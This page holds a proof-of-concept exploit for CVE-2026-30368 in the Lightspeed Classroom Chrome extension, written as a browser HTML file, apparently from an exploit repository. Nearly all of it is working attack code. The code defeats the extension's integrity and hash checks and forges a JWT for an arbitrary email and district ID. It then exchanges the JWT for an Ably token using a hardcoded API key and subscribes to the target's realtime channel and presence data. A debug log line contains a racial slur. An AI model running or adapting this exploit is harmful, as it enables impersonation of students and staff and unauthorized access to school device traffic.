5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / autodiddy.html HTML
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Lightspeed Classroom WASM PoC (Browser)</title>
  <!-- Load Ably if using CDN, or import via script/module -->
  <script src="https://cdn.ably.com/lib/ably.min.js"></script>
</head>
<body>
  <h1>Lightspeed CVE-2026-30368 Browser PoC</h1>
  <h2>Upload File</h2>
    <input type="file" id="fileInput" />
    <button id="loadBtn">Load File</button>

    <div class="info" id="output">
    No file loaded.
    </div>
    <h3>Email</h3>
    <input type="text" id="email" />
    <h3>Customer ID</h3>
    <input type="text" id="cid" />
  <pre id="log"></pre>

  <script type="module">
    // CONFIG (update with your targets)
    let selectedFile = null;
    let blobURL = null;
    const realFetch = globalThis.fetch;

    globalThis.fetch = async (input, opts) => {
      const url =
        typeof input === "string"
          ? input
          : input instanceof Request
            ? input.url
            : String(input);

      // Handle chrome-extension:// scheme
      if (url.startsWith("chrome-extension://")) {
        const filename = url.split("/").pop();
        if (url.includes("manifest.json")) {
          return new Response(chrome.runtime.getManifest(), { status: 200 });
        }

        // In web, you cannot use __dirname or fs.
        // So we assume assets are hosted relative to origin:
        const assetUrl = new URL(`./${filename}`, globalThis.location.origin);

        try {
          const res = await realFetch(assetUrl.toString(), opts);
          if (!res.ok) return new Response("", { status: 404 });

          const ct =
            filename.endsWith(".wasm")
              ? "application/wasm"
              : filename.endsWith(".json")
                ? "application/json"
                : "application/javascript";

          const buf = await res.arrayBuffer();

          return new Response(buf, {
            status: 200,
            headers: { "Content-Type": ct }
          });
        } catch {
          return new Response("", { status: 404 });
        }
      }

      return realFetch(input, opts);
    };
    globalThis.fs = (() => {
      const files = new Map();

      return {
        readFile(path, encoding = "utf8", cb) {
          const data = files.get(path);
          if (!data) {
            const err = new Error("ENOENT: no such file or directory");
            if (cb) return cb(err);
            throw err;
          }
          if (cb) return cb(null, data);
          return data;
        },

        writeFile(path, data, encoding = "utf8", cb) {
          files.set(path, data);
          if (cb) cb(null);
        },

        existsSync(path) {
          return files.has(path);
        },

        readdirSync() {
          return Array.from(files.keys());
        },
        constants: {
          F_OK: 0,
            R_OK: 4,
            W_OK: 2,
            X_OK: 1,

            // open flags
            O_RDONLY: 0,
            O_WRONLY: 1,
            O_RDWR: 2,

            O_CREAT: 64,
            O_EXCL: 128,
            O_NOCTTY: 256,
            O_TRUNC: 512,
            O_APPEND: 1024,
            O_DIRECTORY: 65536,
            O_NOATIME: 262144,
            O_SYNC: 1052672,
            O_DSYNC: 4096,

            // mode bits (POSIX-ish)
            S_IRUSR: 256,
            S_IWUSR: 128,
            S_IXUSR: 64,
            S_IRGRP: 32,
            S_IWGRP: 16,
            S_IXGRP: 8,
            S_IROTH: 4,
            S_IWOTH: 2,
            S_IXOTH: 1,

            // miscellaneous (some libs check these)
            UV_FS_SYMLINK_DIR: 1,
            UV_FS_SYMLINK_JUNCTION: 2
        },
      };
    })();
    globalThis.process = {
      env: {},
      version: "v0.0.0-browser",
      platform: "browser",
      browser: true,

      nextTick(fn, ...args) {
        queueMicrotask(() => fn(...args));
      },

      cwd() {
        return "/";
      },

      argv: []
    };
    const input = document.getElementById("fileInput");
    const output = document.getElementById("output");
    const button = document.getElementById("loadBtn");

    // 🔥 Promise gate for when file is ready
    let fileReadyResolve;
    const fileReady = new Promise((resolve) => {
      fileReadyResolve = resolve;
    });

    input.addEventListener("change", (e) => {
      selectedFile = e.target.files[0];

      output.textContent = selectedFile
        ? `Selected: ${selectedFile.name}`
        : "No file selected.";
    });

    button.addEventListener("click", async () => {
      if (!selectedFile) {
        output.textContent = "Please select a file first.";
        return;
      }

      // Create blob URL (usable with fetch)
      blobURL = URL.createObjectURL(selectedFile);

      // Read file data
      const arrayBuffer = await selectedFile.arrayBuffer();

      output.textContent = `
    Name: ${selectedFile.name}
    Type: ${selectedFile.type || "unknown"}
    Size: ${selectedFile.size} bytes
    Loaded ${arrayBuffer.byteLength} bytes into memory.
      `;

      // 🚀 SIGNAL READY STATE (this is the key change)
      fileReadyResolve({
        file: selectedFile,
        blobURL,
        arrayBuffer
      });
    });
    const CONFIG = {
      email: document.getElementById('email').value,
      customerId: document.getElementById('cid').value,
      ablyApiKey: "G52kOXvb7p7UbwFRV3ahn74m6xklosio2XUdLlTL",
      ablyUrl: "https://ably.lightspeedsystems.app/",
      apiUri: "https://devices.classroom.relay.school",
      telemetryHost: "agent-backend-api-production.lightspeedsystems.com",
      telemetryKey: "lolz",
      extensionId: "oabgjilkcpjhblbghejemfighgjhecjl",
      version: "5.1.7.1773264644",
    }
    const _encoder = new TextEncoder();
    const _decoder = new TextDecoder();

    const ORIGIN = `chrome-extension://${CONFIG.extensionId}`;



    globalThis.chrome = {
      runtime: {
        id: CONFIG.extensionId,
        getURL: (p) => `${ORIGIN}/${p}`,
        getManifest: () => ({
          version: CONFIG.version,
        }),
        getPlatformInfo: (cb) =>
          cb && cb({ os: "cros", arch: "x86-64", nacl_arch: "x86-64" }),
      },
      identity: {
        getProfileUserInfo: (cb) => {
          if (cb) cb(identity);
          return Promise.resolve(identity);
        },
      },
      enterprise: {
        deviceAttributes: {
          getDirectoryDeviceId: (cb) => {
            if (cb) cb(CONFIG.customerId);
          },
          getDeviceSerialNumber: (cb) => {
            if (cb) cb("");
          },
          getDeviceAssetId: (cb) => {
            if (cb) cb("");
          },
        },
      },
    };

    // --- Fetch mock ---
    // Resolves chrome-extension:// URLs to local files, passes through https://

    // --- LSClassroom state (minimal) ---
    // The WASM registers functions on LSClassroom.WASM during Go main().
    // We also provide the JS-side callback arrays that the WASM calls into.
    const callbacks = { ident: [], ip: [], tab: [] };

    globalThis.LSClassroom = {
      WASM: {
        Debug: (...args) => {
          console.log("[wasm.Debug]", ...args);
        },
        SetIdentCB: (fn) => callbacks.ident.push(fn),
        SendIdentCB: (data) =>
          callbacks.ident.forEach((fn) => {
            try {
              fn(data);
            } catch (e) {}
          }),
        SetIPCB: (fn) => callbacks.ip.push(fn),
        SendIPCB: (data) =>
          callbacks.ip.forEach((fn) => {
            try {
              fn(data);
            } catch (e) {}
          }),
        SetTabCB: (fn) => callbacks.tab.push(fn),
        SendTabCB: (data) =>
          callbacks.tab.forEach((fn) => {
            try {
              fn(data);
            } catch (e) {}
          }),
      },
    };

    // --- Go WASM runtime bridge (standard wasm_exec.js, with patched valueCall) ---
    // Faithfully reproduced from the worker's embedded Go class, with 2 patches:
    //   - getProfileUserInfo.toString() returns "native code" (integrity bypass)
    //   - worker.js URL redirected to worker_copy.js (hash bypass)

    globalThis.Go = class Go {
      constructor() {
        this.argv = ["js"];
        this.env = {};
        this.exit = (code) => {
          if (code !== 0) console.warn("Go exit:", code);
        };
        this._exitPromise = new Promise((r) => {
          this._resolveExitPromise = r;
        });
        this._pendingEvent = null;
        this._scheduledTimeouts = new Map();
        this._nextCallbackTimeoutID = 1;
        const go = this;
        const _timeOrigin = Date.now() - performance.now();

        this.importObject = {
          _gotest: { add: (a, b) => a + b },
          gojs: {
            "runtime.wasmExit": (sp) => {
              sp >>>= 0;
              go.exited = true;
              delete go._inst;
              delete go._values;
              delete go._goRefCounts;
              delete go._ids;
              delete go._idPool;
              go.exit(go.mem.getInt32(sp + 8, true));
            },
            "runtime.wasmWrite": (sp) => {
              sp >>>= 0;
              const fd = go._getInt64(sp + 8);
              const p = go._getInt64(sp + 16);
              const n = go.mem.getInt32(sp + 24, true);
              //fs.writeSync(fd, new Uint8Array(go._inst.exports.mem.buffer, p, n));
            },
            "runtime.resetMemoryDataView": () => {
              go.mem = new DataView(go._inst.exports.mem.buffer);
            },
            "runtime.nanotime1": (sp) => {
              go._setInt64(
                8 + (sp >>>= 0),
                (_timeOrigin + performance.now()) * 1000000,
              );
            },
            "runtime.walltime": (sp) => {
              sp >>>= 0;
              const m = new Date().getTime();
              go._setInt64(sp + 8, m / 1000);
              go.mem.setInt32(sp + 16, (m % 1000) * 1000000, true);
            },
            "runtime.scheduleTimeoutEvent": (sp) => {
              sp >>>= 0;
              const id = go._nextCallbackTimeoutID++;
              go._scheduledTimeouts.set(
                id,
                setTimeout(
                  () => {
                    go._resume();
                    while (go._scheduledTimeouts.has(id)) {
                      console.warn("scheduleTimeoutEvent: missed timeout event");
                      go._resume();
                    }
                  },
                  go._getInt64(sp + 8),
                ),
              );
              go.mem.setInt32(sp + 16, id, true);
            },
            "runtime.clearTimeoutEvent": (sp) => {
              sp >>>= 0;
              clearTimeout(
                go._scheduledTimeouts.get(go.mem.getInt32(sp + 8, true)),
              );
              go._scheduledTimeouts.delete(go.mem.getInt32(sp + 8, true));
            },
            "runtime.getRandomData": (sp) => {
              crypto.getRandomValues(
                new Uint8Array(
                  go._inst.exports.mem.buffer,
                  go._getInt64(8 + (sp >>>= 0)),
                  go._getInt64(sp + 16),
                ),
              );
            },
            "syscall/js.finalizeRef": (sp) => {
              sp >>>= 0;
              const id = go.mem.getUint32(sp + 8, true);
              go._goRefCounts[id]--;
              if (go._goRefCounts[id] === 0) {
                const v = go._values[id];
                go._values[id] = null;
                go._ids.delete(v);
                go._idPool.push(id);
              }
            },
            "syscall/js.stringVal": (sp) => {
              go._storeValue(24 + (sp >>>= 0), go._loadString(sp + 8));
            },
            "syscall/js.valueGet": (sp) => {
              console.log("AY VALUEGET NIGGA")
              sp >>>= 0;
              const recv = go._loadValue(sp + 8);
              const name = go._loadString(sp + 16);
              const result = Reflect.get(recv, name);
              console.log(recv, name, result)
              sp = go._inst.exports.getsp() >>> 0;
              go._storeValue(sp + 32, result);
            },
            "syscall/js.valueSet": (sp) => {
              sp >>>= 0;
              Reflect.set(
                go._loadValue(sp + 8),
                go._loadString(sp + 16),
                go._loadValue(sp + 32),
              );
            },
            "syscall/js.valueDelete": (sp) => {
              sp >>>= 0;
              Reflect.deleteProperty(
                go._loadValue(sp + 8),
                go._loadString(sp + 16),
              );
            },
            "syscall/js.valueIndex": (sp) => {
              go._storeValue(
                24 + (sp >>>= 0),
                Reflect.get(go._loadValue(sp + 8), go._getInt64(sp + 16)),
              );
            },
            "syscall/js.valueSetIndex": (sp) => {
              sp >>>= 0;
              Reflect.set(
                go._loadValue(sp + 8),
                go._getInt64(sp + 16),
                go._loadValue(sp + 24),
              );
            },

            "syscall/js.valueCall": (sp) => {
              sp >>>= 0;
              try {
                const recv = go._loadValue(sp + 8);
                const name = go._loadString(sp + 16);
                const args = go._loadSliceOfValues(sp + 32);
                console.log("AY VALUECALL", recv, name, args)

                // ── PATCH 1: integrity bypass ──
                // WASM checks getProfileUserInfo.toString() for "native code"
                if (
                  name === "toString" &&
                  recv === chrome.identity.getProfileUserInfo
                ) {
                  sp = go._inst.exports.getsp() >>> 0;
                  go._storeValue(
                    sp + 56,
                    "function getProfileUserInfo() { [native code] }",
                  );
                  go.mem.setUint8(sp + 64, 1);
                  return;
                }
                // ── PATCH 2: hash bypass ──
                // WASM hashes worker.js — redirect to unmodified copy
                if (
                  args[0] &&
                  typeof args[0] === "string" &&
                  args[0].endsWith("/worker.js")
                ) {
                  args[0] = args[0].replace(/worker\.js$/, "worker_copy.js");
                }
                // ── END PATCHES ──

                const fn = Reflect.get(recv, name);
                if (typeof fn !== "function") {
                  console.log(
                    `[wasm] valueCall(${recv?.constructor?.name || typeof recv}.${name}) — not a function: ${fn}`,
                  );
                  sp = go._inst.exports.getsp() >>> 0;
                  go._storeValue(
                    sp + 56,
                    new TypeError(`${name} is not a function`),
                  );
                  go.mem.setUint8(sp + 64, 0);
                  return;
                }
                const result = Reflect.apply(fn, recv, args);
                sp = go._inst.exports.getsp() >>> 0;
                go._storeValue(sp + 56, result);
                go.mem.setUint8(sp + 64, 1);
              } catch (err) {
                sp = go._inst.exports.getsp() >>> 0;
                go._storeValue(sp + 56, err);
                go.mem.setUint8(sp + 64, 0);
              }
            },

            "syscall/js.valueInvoke": (sp) => {
              sp >>>= 0;
              try {
                const result = Reflect.apply(
                  go._loadValue(sp + 8),
                  undefined,
                  go._loadSliceOfValues(sp + 16),
                );
                sp = go._inst.exports.getsp() >>> 0;
                go._storeValue(sp + 40, result);
                go.mem.setUint8(sp + 48, 1);
              } catch (e) {
                sp = go._inst.exports.getsp() >>> 0;
                go._storeValue(sp + 40, e);
                go.mem.setUint8(sp + 48, 0);
              }
            },
            "syscall/js.valueNew": (sp) => {
              sp >>>= 0;
              try {
                const result = Reflect.construct(
                  go._loadValue(sp + 8),
                  go._loadSliceOfValues(sp + 16),
                );
                sp = go._inst.exports.getsp() >>> 0;
                go._storeValue(sp + 40, result);
                go.mem.setUint8(sp + 48, 1);
              } catch (e) {
                sp = go._inst.exports.getsp() >>> 0;
                go._storeValue(sp + 40, e);
                go.mem.setUint8(sp + 48, 0);
              }
            },
            "syscall/js.valueLength": (sp) => {
              go._setInt64(
                16 + (sp >>>= 0),
                parseInt(go._loadValue(sp + 8).length),
              );
            },
            "syscall/js.valuePrepareString": (sp) => {
              sp >>>= 0;
              const str = _encoder.encode(String(go._loadValue(sp + 8)));
              go._storeValue(sp + 16, str);
              go._setInt64(sp + 24, str.length);
            },
            "syscall/js.valueLoadString": (sp) => {
              sp >>>= 0;
              const str = go._loadValue(sp + 8);
              const ln = go._getInt64(sp + 16);
              new Uint8Array(go._inst.exports.mem.buffer, ln).set(str);
            },
            "syscall/js.valueInstanceOf": (sp) => {
              go.mem.setUint8(
                24 + (sp >>>= 0),
                go._loadValue(sp + 8) instanceof go._loadValue(sp + 16) ? 1 : 0,
              );
            },
            "syscall/js.copyBytesToGo": (sp) => {
              sp >>>= 0;
              const dst = new Uint8Array(
                go._inst.exports.mem.buffer,
                go._getInt64(sp + 16),
              );
              const src = go._loadValue(sp + 32);
              if (!(src instanceof Uint8Array)) {
                go.mem.setUint8(sp + 48, 0);
                return;
              }
              go.mem.setUint8(sp + 48, 1);
              go._setInt64(
                sp + 40,
                src.copyWithin
                  ? src.copyWithin(0, dst.subarray(0, src.length))
                  : dst.set(src.subarray(0, dst.length)),
              );
            },
            "syscall/js.copyBytesToJS": (sp) => {
              sp >>>= 0;
              const dst = go._loadValue(sp + 16);
              const src = new Uint8Array(
                go._inst.exports.mem.buffer,
                go._getInt64(sp + 32),
              );
              if (!(dst instanceof Uint8Array)) {
                go.mem.setUint8(sp + 48, 0);
                return;
              }
              go.mem.setUint8(sp + 48, 1);
              go._setInt64(
                sp + 40,
                dst.set
                  ? dst.set(src.subarray(0, dst.length))
                  : src.copyWithin(0, dst.subarray(0, src.length)),
              );
            },
          },
        };
      }

      _setInt64(addr, v) {
        this.mem.setUint32(addr, v, true);
        this.mem.setUint32(addr + 4, Math.floor(v / 4294967296), true);
      }
      _getInt64(addr) {
        return (
          this.mem.getUint32(addr, true) +
          this.mem.getInt32(addr + 4, true) * 4294967296
        );
      }

      _loadValue(addr) {
        const f = this.mem.getFloat64(addr, true);
        if (f !== 0) {
          if (!isNaN(f)) return f;
        }
        return this._values[this.mem.getUint32(addr, true)];
      }

      _storeValue(addr, v) {
        const nanHead = 2146959360;
        if (typeof v === "number") {
          if (v !== 0 && !isNaN(v)) {
            this.mem.setFloat64(addr, v, true);
            return;
          }
          if (isNaN(v)) {
            this.mem.setUint32(addr + 4, nanHead, true);
            this.mem.setUint32(addr, 0, true);
            return;
          }
        }
        if (v === undefined) {
          this.mem.setFloat64(addr, 0, true);
          return;
        }
        let id = this._ids.get(v);
        if (id === undefined) {
          id = this._idPool.pop();
          if (id === undefined) id = this._values.length;
        }
        this._values[id] = v;
        this._goRefCounts[id] = 0;
        this._ids.set(v, id);
        let typeFlag = 0;
        switch (typeof v) {
          case "object":
            if (v !== null) typeFlag = 1;
            break;
          case "string":
            typeFlag = 2;
            break;
          case "symbol":
            typeFlag = 3;
            break;
          case "function":
            typeFlag = 4;
            break;
        }
        this.mem.setUint32(addr + 4, nanHead | typeFlag, true);
        this.mem.setUint32(addr, id, true);
      }

      _loadString(addr) {
        const s = this._getInt64(addr);
        const l = this._getInt64(addr + 8);
        return _decoder.decode(new DataView(this._inst.exports.mem.buffer, s, l));
      }

      _loadSliceOfValues(addr) {
        const arr = this._getInt64(addr);
        const len = this._getInt64(addr + 8);
        const a = new Array(len);
        for (let i = 0; i < len; i++) a[i] = this._loadValue(arr + i * 8);
        return a;
      }

      async run(instance) {
        if (!(instance instanceof WebAssembly.Instance))
          throw new Error("Go.run: WebAssembly.Instance expected");
        this._inst = instance;
        this.mem = new DataView(this._inst.exports.mem.buffer);
        this._values = [NaN, 0, null, true, false, globalThis, this];
        this._goRefCounts = new Array(this._values.length).fill(Infinity);
        this._ids = new Map([
          [0, 1],
          [null, 2],
          [true, 3],
          [false, 4],
          [globalThis, 5],
          [this, 6],
        ]);
        this._idPool = [];
        this.exited = false;

        const go = this;
        let offset = 4096;
        const strPtr = (str) => {
          const ptr = offset;
          const bytes = _encoder.encode(str + "\0");
          new Uint8Array(go._inst.exports.mem.buffer).set(bytes, offset);
          offset += bytes.length;
          if (offset % 8 !== 0) offset += 8 - (offset % 8);
          return ptr;
        };

        const argc = this.argv.length;
        const argvPtrs = [];
        this.argv.forEach((a) => argvPtrs.push(strPtr(a)));
        argvPtrs.push(0);
        Object.keys(this.env)
          .sort()
          .forEach((k) => argvPtrs.push(strPtr(`${k}=${this.env[k]}`)));
        argvPtrs.push(0);
        const argvPtr = offset;
        argvPtrs.forEach((p) => {
          this.mem.setUint32(offset, p, true);
          this.mem.setUint32(offset + 4, 0, true);
          offset += 8;
        });
        if (offset >= 12288)
          throw new Error(
            "total length of command line and environment variables exceeds limit",
          );

        this._inst.exports.run(argc, argvPtr);
        if (this.exited) {
          this._resolveExitPromise();
        }
        await this._exitPromise;
      }

      _resume() {
        if (this.exited) throw new Error("Go program has already exited");
        this._inst.exports.resume();
        if (this.exited) {
          this._resolveExitPromise();
        }
      }

      _makeFuncWrapper(id) {
        const go = this;
        return function () {
          const event = { id, this: this, args: arguments };
          go._pendingEvent = event;
          go._resume();
          return event.result;
        };
      }
    };

    function copyBytes(dst, src) {
      const n = Math.min(src.length, dst.length);
      dst.set(src.subarray(0, n));
      return n;
    }

    // ═══════════════════════════════════════════════════════════════
    // STEP 1: Load the WASM and extract the JWT
    // ═══════════════════════════════════════════════════════════════

    async function getJwtFromWasm(wasmBuf) {

      const go = new Go();
      const wasmBytes = wasmBuf;
      const { instance } = await WebAssembly.instantiate(
        wasmBytes,
        go.importObject,
      );

      // go.run() starts the Go runtime. The WASM's main() registers
      // functions like Setup(), ConfigureClass(), etc. on LSClassroom.WASM
      go.run(instance);

      // Give the WASM a tick to finish registering its functions
      await new Promise((r) => setTimeout(r, 500));

      // Call Setup with the target district's config
      console.log("[1] Calling LSClassroom.WASM.Setup()...");
      LSClassroom.WASM.Setup(
        CONFIG.customerId,
        CONFIG.version,
        CONFIG.telemetryHost,
        CONFIG.telemetryKey,
      );

      // Create a blank object — the WASM will add a SetIdent method to it
      // that generates a JWT when called with an email address
      const classObj = {};
      console.log("[2] Calling LSClassroom.WASM.ConfigureClass()...");
      LSClassroom.WASM.ConfigureClass(classObj);

      // Optionally fetch policy from the server (may be required by newer versions)
      // The policy endpoint returns a JWT that the WASM uses during identity verification
      try {
        console.log("[3] Fetching policy from", `${CONFIG.apiUri}/policy`);
        const policyRes = await realFetch(`${CONFIG.apiUri}/policy`, {
          method: "POST",
          headers: {
            "x-api-key": CONFIG.ablyApiKey,
            "Content-Type": "application/json",
            customerid: CONFIG.customerId,
            version: `chrome-${CONFIG.version}`,
          },
          body: JSON.stringify({ username: CONFIG.email }),
        });
        if (policyRes.ok) {
          const policy = await policyRes.json();
          console.log("[3] Policy:", JSON.stringify(policy, null, 2));
          if (policy.jwt) {
            LSClassroom.WASM.PolicyData(
              policy.jwt,
              policy.email || CONFIG.email,
              policy.user_guid || "",
            );
          }
        } else {
          console.log(
            "[3] Policy fetch failed (status",
            policyRes.status,
            ") — continuing without it",
          );
        }
      } catch (e) {
        console.log(
          "[3] Policy fetch error:",
          e.message,
          "— continuing without it",
        );
      }

      await new Promise((r) => setTimeout(r, 200));

      // The moment of truth: call SetIdent(email) → WASM generates and returns the JWT
      // using the signing key embedded in the Go binary
      console.log("[4] Calling classObj.SetIdent() — WASM generates JWT...");
      const jwt = classObj.SetIdent(CONFIG.email);
      if (!jwt) throw new Error("WASM returned empty JWT — SetIdent failed");

      console.log("[4] JWT obtained:", jwt.substring(0, 40) + "...");
      return jwt;
    }

    // ═══════════════════════════════════════════════════════════════
    // STEP 2: Exchange the JWT for an Ably token (the only auth API call)
    // ═══════════════════════════════════════════════════════════════

    async function getAblyToken(jwt) {
      // This is the single API call that matters:
      // Send the WASM-generated JWT to Lightspeed's Ably endpoint
      // along with the public API key (hardcoded in the extension)
      console.log("[5] Exchanging JWT for Ably token at", CONFIG.ablyUrl);
      const res = await realFetch(
        `${CONFIG.ablyUrl}?clientId=${encodeURIComponent(CONFIG.email)}`,
        {
          headers: {
            "Content-Type": "application/json",
            "X-API-Key": CONFIG.ablyApiKey,
            "User-Agent": "fetch/25.9.0",
            jwt,
            exp: "10",
          },
        },
      );
      if (!res.ok) {
        const body = await res.text();
        console.error("[5] Ably response:", res.status, body);
        throw new Error(`Ably token exchange failed: ${res.status}`);
      }
      console.log("[5] Ably token received (status", res.status, ")");
      return res.text();
    }

    // ═══════════════════════════════════════════════════════════════
    // STEP 3: Connect to target's Ably channel — full device control
    // ═══════════════════════════════════════════════════════════════

    async function connectAndControl(ablyToken) {
      const realtime = new Ably.Realtime({
        authCallback: async (_, cb) => cb(null, ablyToken),
        clientId: CONFIG.email,
        autoConnect: false,
        echoMessages: true,
        endpoint: "lightspeed",
        fallbackHosts: [
          "a-fallback-lightspeed.ably.io",
          "b-fallback-lightspeed.ably.io",
          "c-fallback-lightspeed.ably.io",
        ],
      });

      const channelName = `${CONFIG.customerId}:${CONFIG.email}`;
      console.log("[6] Connecting to Ably channel:", channelName);

      await new Promise((resolve, reject) => {
        realtime.connection.on("connected", () => {
          console.log("[6] Connected!", realtime.connection.id);
          resolve();
        });
        realtime.connection.on("failed", (e) => {
          console.error("[6] Connection failed:", e);
          reject(e);
        });
        realtime.connect();
      });

      const channel = realtime.channels.get(channelName);

      // ── Subscribe to ALL messages (no filter) ──
      channel.subscribe((msg) => {
        console.log(`[rx:${msg.name}]`, JSON.stringify(msg.data));
      });

      // ── Presence: see who's online on this channel ──
      channel.presence.subscribe((msg) => {
        console.log(
          `[presence:${msg.action}] ${msg.clientId}`,
          JSON.stringify(msg.data),
        );
      });

      // Check who's currently present
      const presenceSet = await channel.presence.get();
      if (presenceSet.length === 0) {
        console.log("[presence] Nobody currently online on this channel");
      } else {
        console.log(`[presence] ${presenceSet.length} client(s) online:`);
        for (const p of presenceSet) {
          console.log(`  - ${p.clientId}`, JSON.stringify(p.data));
        }
      }
    }
    async function main(wasmBuf) {
      try {
        const jwt = await getJwtFromWasm(wasmBuf);
        const ablyToken = await getAblyToken(jwt);
        await connectAndControl(ablyToken);
      } catch (e) {
        console.error("Fatal:", e);
      }
    }
    async function boot() {
      const { file, blobURL, arrayBuffer } = await fileReady;

      main(arrayBuffer);
    }

    boot();


  </script>
</body>
</html>